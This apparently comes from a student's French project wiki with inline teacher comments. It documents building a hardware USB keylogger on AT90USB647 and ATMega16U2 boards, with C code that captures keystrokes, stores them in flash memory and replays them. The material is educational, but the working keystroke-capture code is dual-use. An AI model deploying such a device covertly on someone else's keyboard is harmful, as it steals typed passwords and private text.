J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Mémoire ====&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo test mémoire par commande&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Test mémoire en écriture et lecture&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).&lt;br /&gt;
&lt;br /&gt;
==== Gestion clavier USB ====&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]&amp;lt;ref&amp;gt;Vidéo démo du programme KeyboardHost sur l'AT90&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur&amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot;&amp;gt;Configuration de l'horloge&amp;lt;/ref&amp;gt;. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo AT90 et Arduino/LCD qui récupère les caractères&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo démo Clavier -&amp;gt; AT90 (USART) -&amp;gt; ATMEGA -&amp;gt; PC&amp;lt;/ref&amp;gt;. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.&lt;br /&gt;
&lt;br /&gt;
==== Keylogger ====&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.&lt;br /&gt;
&lt;br /&gt;
ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
        Flash_Task(&amp;amp;page_start, &amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).&lt;br /&gt;
&lt;br /&gt;
Dans ma logique, j'utilise trois variables : &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; qui est la page où l'on commence l'écriture, &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui indique la page courante et &amp;lt;code&amp;gt;page_buffer_size&amp;lt;/code&amp;gt; qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
ReX : La variable &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; me semble inutile.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt;. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).&lt;br /&gt;
&lt;br /&gt;
Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique). &lt;br /&gt;
&lt;br /&gt;
ReX : Le problème pour l'envoi de l'octet &amp;lt;code&amp;gt;modifier&amp;lt;/code&amp;gt; est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapées sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt &amp;lt;codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
ReX : Le délai me paraît non nécessaire par contre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; sans attente entre les deux me paraît joueur. Sauf si &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; est bloquant mais je parierais pas.&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMega :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; d'être executée plus d'une fois.&lt;br /&gt;
&lt;br /&gt;
ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.&lt;br /&gt;
 &lt;br /&gt;
Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Même remarque sur les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; consécutifs et sur la méthode pour envoyer modificateur et codes de touches.&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt;, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un &amp;lt;code&amp;gt;while(!Serial_IsSendComplete());&amp;lt;/code&amp;gt; entre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; ?&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo démo du Keylogger&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
ReX : Toujours une très bonne vidéo de démonstration.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
ReX : Ils passent en mode DFU ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].&lt;br /&gt;
&lt;br /&gt;
==== Modification du Keylogger ====&lt;br /&gt;
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]&lt;br /&gt;
&lt;br /&gt;
J'ai apporté des modifications sur l'envoi et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de &amp;lt;code&amp;gt;string.h&amp;lt;/code&amp;gt; afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions &amp;lt;code&amp;gt;memset&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
